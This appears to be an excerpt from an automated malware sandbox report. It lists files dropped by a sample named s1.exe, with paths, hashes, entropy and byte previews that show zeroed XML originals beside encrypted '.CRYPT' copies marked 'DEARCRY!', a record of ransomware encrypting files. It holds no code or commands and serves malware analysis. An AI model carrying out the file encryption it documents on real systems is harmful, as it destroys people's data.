                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\630a70e7-1832-4f42-e2a2-5d35fdddc45f.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3512
                                                              Entropy (8bit):7.939297065516835
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6CCCF02F2894A0324BBD28A3EB8577E9
                                                              SHA1:DE8674A107CF23EAEA2DE3AB837D9ED75A213453
                                                              SHA-256:D5FF4B35529E03F0400A62A6FC6D8C83B30E0A6494ECE4E869355A1EE047EAE2
                                                              SHA-512:61F116262CEAFB40F7328A4E64CC05CF1194055E673D41435D6D132195ED99C0E52763A4761C59146B431A3FDB90AF44815012F14939291FD6DAC2873D82DF56
                                                              Malicious:false
                                                              Preview: DEARCRY!.....@...........Y~..`.b....u:.S..u...n...h.........2..i......q..._fo.hc.z.7...<8'...y.......S.K.....&h.O.5."..a..vz..j.@-X.X..>)X5E...v^m...!U...l.4.....H..~..-Z\.i..B.i.C..Z....mv.0V....S<.7e^.2NuWu..S.@Z..V.'.....5NX..3..[n..?#.....].B..f.................9d.e"}${....z.^...x..?....6.ww.W...3v..e.t.L].40`.@..x..~g.L..............S%..W.......(.7.n..c8.i.Vl.<W \......H.[..DJ.F..OP.......`."..Ar.)u..AA..aq.X.D[L]4S.!..h^...yR.+..U.k..P......Bm.4.[....j.+......$.%..8.a[e....d?VK.......J....g.......Z.|9..d.m._.....%....T"E6.K2..%.B..{9..GT.....!...7.No.vU.XI.._...N..%..-..`....4.....gk..%.CE....Gf..{..\..! @$./.Y.@C.).8.zH.7..i4\.Y.,.4...2.okl........c..."MJ.e..i..$.R.<J.v.......@.6..6+.=..fL,.....t...yU......r..P..~..'..\......J..=.....QG.Xs9.H2..I...r</3][.*...~...M...2.f?(Sx...mk....g.E....w.?V[...j......&...R..Z0./Mu.|_4W....cS..B..+U2.~.FF..H?...-...M...Q.G...@.f.t.Y.z..d.\X#...W#V..F..Hg.M.p....6.}....z@...S*..t.a+...[.."....,.$
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\67447b0c-05cf-6740-5f7b-391ab440c42d.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2642
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4D9555D6EF731B84E07537DB376550F4
                                                              SHA1:48847935C9DD22595C7EE0804E8F6C6A193BB267
                                                              SHA-256:D87AF71523253BB9113714C83FD59290C28C308FD63A43598752FBCA4E416677
                                                              SHA-512:F00A744EE0C033188F5266747589F1C04F9C04328C4EDCF23CBB03D99CC34AD54B1FCB74CF1CC6B666269E60D543E96101E516BE92F6FB5BBF5E8D8ED2036B9C
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\67447b0c-05cf-6740-5f7b-391ab440c42d.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2936
                                                              Entropy (8bit):7.944272187449678
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:15359FD64BDDBA6F57E27AD66A49E138
                                                              SHA1:38BDED30166476EF98A5289E882B8FEC3EDA1244
                                                              SHA-256:9DB05B7DC2B34373C668ED7C1EE47551F70A411485C7908B40D679F48F6DF8D7
                                                              SHA-512:DF6D0663796BF805DC72C80D91FED150327D2A0696830A9A51A54C9333318B270DA17EBA0388E90975F97F02F90D9DCA693C8D49E93E00E4972DB64931F2CE02
                                                              Malicious:false
                                                              Preview: DEARCRY!....rz.q-.w..s....uYuK1..~..D=&..6..V..6[...)...e...hm.F.$F....i;....l..%..V...-.F.....[,yY!.<.e~:^y..`......cz.R...J...>.y.X..+$}.}.,R...(.'..7.X .(....wI..A..3C@.v...wQh..^..^k..$w^.I...F.vY...1>8.$r#@ /[....=O...hrs....0.`;Ew....PWe..._-..7[..x.GU$.....R.......OY.......&...#..X.+........T.#.teF..} 5..5#.!..2..$...../..vM.....x. .Z-.-?.+{...I./..?..)........II.3.|b..E@..d.2S#..&S.......{.c`.%U.s^.[....HGe...C..o.=...g.|...Zz...W..6...i........3$hu....-.#.[i1.~.|..a.F...m%l..a.C....r....v~.6...S.ow......8.........X.....i.r......Z.14|x{%......j_.F@....HT.iJ.3..q...\T..p.C.K.E.....aA.......S.B.........o)..<..S.W..|*.8.8..c.U....gw6....D?g.H...v.|.`.*.q.}...KO.)..[r.L.........../.~......,..WZ...8.,...Ga.eg.5u..W3A...}.'..m.0.....mT.v.g>.P...?.Fr;...H.......h*.W1tfxQ./..:3C.Zz{...&v<.M..U.vB.@...*'......*......{.xr.Br..Y..W^t....(...~....j:..h.D`...Xf.a.9.\.c'.....'A{..8.\...I....<.U.&..Sc..j.2.....|^....s2_.....m..0..(......U......XI.?n.*
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\6ffa25dc-c89d-3de9-3601-df09bae65a75.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2799
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:3BFB28DF050EAB7BC315C7C06D3D3ECF
                                                              SHA1:3A435CE5E601ADDA6B84153E1F25EB9289EC9203
                                                              SHA-256:72B5E539C2640B5806B7D57A1A6A43155E6D048FB61DDEA613C68B55DC031CFB
                                                              SHA-512:616FA113589CA53480D165307CB9022EA5EE0D541B7883C36701165E0D61276D4529F6241CB4634E0B9E9D8165F891ADF6BC5337FCEF8260F583D0857BEE79C8
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\6ffa25dc-c89d-3de9-3601-df09bae65a75.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3080
                                                              Entropy (8bit):7.941586062423424
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8CCCB8C6F41B6950B4FCEA8027DCB7AE
                                                              SHA1:5EF6D2EA2DC651A1A0E0A19A1ECE6CE304C7FF79
                                                              SHA-256:CB913AEE1CB1BB89A88C55290A587805CB691F5D507D3A3037EBDBAE4F45C15B
                                                              SHA-512:F77B221E5B2AD88144C58AEA27EFABB36DB21D633E5BD29C0D7DBCA17586157174DC49027CD7A8F24EA280445EDD0B076DFB3956B32642B113416226901F3E3F
                                                              Malicious:false
                                                              Preview: DEARCRY!........Gvq.H.......M..Ra..6..9........'.^.j....a.0A......l6......_.[U...H.RV.&...\BY...0....vL-f!..R.~...-.......aZu0.`..T.....$.&..{.W..+%*..}.F.../n.].ob.C.....^.m..|.cG.O....;V/.......v.S.`{<f.J.......8.=.-.H..D.X...j..4..4..].#[.v:..!Sk.N.d...............w.1.H.DU..U>....h..K.\..P..C............xlr..)..^.pW...H;.N....=/U.~]p>..AQ.=\r..dW...\.m=.."p..5.6......y..JRH!......4...%...[.]L.4...uz.z..::.`_..R?m`2..h..m(...:m..zH.(.}$.F.......65co...*........Z......J....@.`7Y....+l[.....:.R..8@..7|.c}WT....a.`.|)...q.F~......3....6...........cf.,..J......k....-.^..P..K.Y.O}.4fE..y...9..K...fW..ug.;.0.D|G.9.6..@l.*[....) y.q.`.W.o.){c.3...W`..).L..D.` .o..8.t.xD.KF.<~h........O~.]C..{(....,<e.iwA/........*..|./K.....\,....6....K..0.....tDg...c.>...X..=..{{..0..X(..d..._~T.'.j.'..X.oU5..O]..o...f6K..Jk&o.=.JP>97....s.....A}.....Cs.~?t.-f....R..........9....]b.Zu...4...b.E......~...A..........>..".].....8.4...?w...1...{..z.......@
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\71c8f37a-a7b9-aff0-6de0-9b276c089ad6.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2686
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:16CD61D1C6EEBF16488837B4CF481E76
                                                              SHA1:818D2B08DF6FB514B1E51DFC7B11F125725BB6E1
                                                              SHA-256:7D66B8362ABDA36233D91F0489BD8B798D9987C59E6295C6380DFCAD75CD644B
                                                              SHA-512:AEC48206DE8A6723F4740B64392E2CCEDF4EBCB4DD09A4CBA3616B70D5D8AFECB5D1141FC00CF24AD3F4C7A807EA72EB654E30FCD4F54E45DF952108CD24F249
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\71c8f37a-a7b9-aff0-6de0-9b276c089ad6.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2968
                                                              Entropy (8bit):7.937021719823375
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:259EAC1358AC4FE083DA1D3A5D1C01E1
                                                              SHA1:30A0B59CF7334D09B428F4D6E62D985A275979FA
                                                              SHA-256:91EBCA501E521DEC057D5F3A9AD461E16C2C2F1823EB8816F8CC6A5687EFBFBB
                                                              SHA-512:DD016026A616A00EA933C8F096F07E9E8610F35A731B51A6AD3F84B7FB84B45129D645EC2A2EAD81DB1BA32A4911133BC726AE11DDC37EB9F7DD08B2AF54B38E
                                                              Malicious:false
                                                              Preview: DEARCRY!......._:......D...C..0*..z==Xe;.Zk]Q.A..Y...J....!..X0....Mxm.n......H....%...c.V&=.........t.~?=...z....i...Ft.8).'.Y]..8,...U}r.[fP.k....@...z.....E.D......0...}.(..2.Tc2.;.....+)...i.A. 3..... ...n.;....1.......L...?..Hd.3.-0...Y.9......nK.....~.......=i..].Z. Q.. P..G.....?tv.e..~..nY.......G.U.....^....M.....aq..Z?..71..PD3WB.r.W-..C.4.W..KO.]Dj.l8nf73J...g.8....S...uH.........R.'...^..F.........;..s2y.{..I_..O.4NJ..m##..t......6Z..b.....s.mU8..G.0@...D~...M...;..O#. ..E..Wi....uWT....Zh.VDw:..b./...A..rP.G.:y*L.d.~...]...V.-......>..c7.....!@.--....G3.0.~|.......&.S.w.L>...X...O.Ly....7).#41.....zjcF.9~...+....:X..A....3p.n..~.?>.... _G.......e.T'.p@..dH|..f...1...>...5.U.....>..f.&..a.;.2.M-./....;(.w.!.....Lm.K....o...NhD....:..)..:9*XW....y@..&.....&..N.........b..!'..C.IP....%...0>F..0d.:..........c..ak..Nh.:...?...6.C...._.E.`.-...vq....e.d...#.m..+8....w...K.~...Du....m.C.F.@...@H..~..^{....._z.5...mYY...!.!.u
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\71ef3df1-f4b1-69cd-793a-48e165e282aa.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3229
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:03C84B4EE154C44207E67A23B6B6A76D
                                                              SHA1:4336E38D0B06B0DAC721AC167DBEB8E3DC863E84
                                                              SHA-256:430D7FB1DD9695164BDFD5467252370295AF0C08983A650C92133B12ABBEA852
                                                              SHA-512:1BF7C801784002AEA0F25F053A8584B556B89EE3702782F3963996818DEE53F2910A3ABD8FE5CF6DBBC58ACCE45BC347057B561DDF7452F1010CE9F70A5E862D
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\71ef3df1-f4b1-69cd-793a-48e165e282aa.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3512
                                                              Entropy (8bit):7.935857809291148
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:4A58BBFAEA17E340D87FE1F545B3C52B
                                                              SHA1:819644D53F9428AB07D2C9C8D599BA37FF2DB8C5
                                                              SHA-256:9AFD021762D298E603F28E427171B26E85048CF20581AAF892C45F620FDCD27F
                                                              SHA-512:592F1F687A2C58701AAB9ABB2F64ED834A46040A1C2B6C63D5B1897E02CE7EB5CE2F7EFF5B79890709BA993C72BA9A7E4EFD90480937C51D966EF1CCEC41C5CB
                                                              Malicious:false
                                                              Preview: DEARCRY!.......H..ANZ^)%....sD=....$]E.sETF..#..$`. ....b.....$...lP.*..Q$......C.T..,.6.0f....'{p..{...T......G.R..p.Fc.d...cf...;.....b....3/D.wS...(P...lw2......Z7.].0J..1..Q......i=|.W.z0.c..Rk..?..t...u../a..ns.6....C...l.i.~..H.zR.H..*..%...q..*y...............eb.p.^H7o...:Z.|...x..Q..M..VM.4...1.V...@........a.L.oy.<..77./.....#^.B'...{.X4#.........p..l.,km.KN...bGWB..........>0...$.Q...~..7 .>2.....>.]..fh8a.16O.....?.{..W.B=..........K9<Q.).....MR.....sZ.yj.hA+.6..'G&.q81..|Y.F.=..3.3..L........{.2.)..Z..|J..s..x.j..1A/....^....m...&.M.~.\A.@...j.%.c..C........V.'..............*....?..>...6.%j..z=.... ;*k.....$*..DW...6....).$7......X8s`0.Y.xm@$.Rt..vP(....3.....r......%.qK.K..R...../Ab.o..#.l......RS..g......J.9)..... .<.F.\.,..XZ......F...^.....Tc.. .{c.....9.I2,..aZg......@6...;..KEp=.]zm......X#p....+.l..r.H}...{...F~.c.8.?../r..HD.>\.f.i.5`.G.W..i....}i.6..R.E.oco..2w.....e.I.+i;..8............"...S...D..+O.u.N.B.Ec.c.8..e.Y.~-.
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\7309084a-bb6f-20c3-ea54-aa108ceab1ae.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2631
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DAEDB2C40A200DBC768256710879F09C
                                                              SHA1:6103A5A1248213A1C4E839F5F500E8B003D3D1DB
                                                              SHA-256:31B98DBB7069C26B3F4AC79165988BE7F8CCE222A568AE1114681EB0B686B992
                                                              SHA-512:4422DA033CE61AC74A7E3FC801820B14B11DE3427C5FD574B7C77DC317B517C2E5CC632894F65307ADDEEE05A815493CA6C914757A5A6B09759B02E26ADF1914
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\7309084a-bb6f-20c3-ea54-aa108ceab1ae.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2920
                                                              Entropy (8bit):7.930245353359608
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:8696937F3D334C74D9B9D0C15BD68207
                                                              SHA1:99F540387DC6E284E59E035C34C658CD05B32E1E
                                                              SHA-256:C11BA02DC906E8E0BCC36190FFB79932DE6A9654205F6AB3D293B9541D2A1244
                                                              SHA-512:9EE4B731BC41919A6F4EAFB36C07EBA2DE60C1676FC4D0ADD7F38BF2C8AFDE49E14FFD9A0D0134CD682ADE5EE8A06E41B478E51666C094436F083673CF643712
                                                              Malicious:false
                                                              Preview: DEARCRY!....2.~.......Q.7.y1....#}Z......#.?.(.m|Q.W8,.Vf.....Z.oP..V...R...h....y..P.`.}..`0...sxz....u.;%...m)D..py..^.... .|.'.$.{..e...B.d....^..~}2X./{..eN".a.K.....Z.......w56_`j......L.tK..."..G......;C.Xr.t.gp..ee;........4~yd......N..8 .fqQL.u]'....G.........g.....H.t.L.....vv.K.u.V.YvS.......|=J6z@p...+._.8.>+..S....Z..k.'....[r...)..z..........!..4.G. A....D...6!&..dLD.....B...U1bj.F...T..dN...l8....fP&t....4.....+....eg.5h+n..Qs+.}...#...j..k.t..E..a...8........%...{&.Y.......H..A.l1k...F.......I......<3..Q.%.\f...Z<...j.EB<..#....{.......P@....U\..:..?..{\..f...[...cZ....m...6V.i..../...).n%$H..t..)...}.0...Vt..dh^~.`/...z..u.O.0I"r4.........?b6f;~.......".^Y..E.5o*.jL...YZ..r...{.....=........v.....i&.}.....e.%..R..;...."..s.....%b.Z[V.m.C..!D.....}..5.......h]<7...F...:..$..:.R-]..qtr...E..n....]+......b..K\..&m;.f..r|....\.....k3..G.e.....^xR.6a..4.4.t....D.B...<u...'N.~......*e&.?.{[&.=MFh...#..EJ....a8nj,U.../...
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\73ce1317-4192-2dd7-a00a-d9171030d9eb.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3511
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C322DD791461E083093591F0A4D6CF32
                                                              SHA1:19CE82C714FA5802AF8B275A783CF5CC3F3120D3
                                                              SHA-256:A5C31B7CA023E63BD3D4179462EAFE80B0D834A9181E9F6CF6FDBA8E37E0959F
                                                              SHA-512:5E1D3F77BE7AC5E73F59BD621E5CD903A9F02C9F98759C15992A58149DC6A420E4BD244DB3A354927A8DC33837302F096B4E59138F615D3FCC1069AAFA2F30DC
                                                              Malicious:false
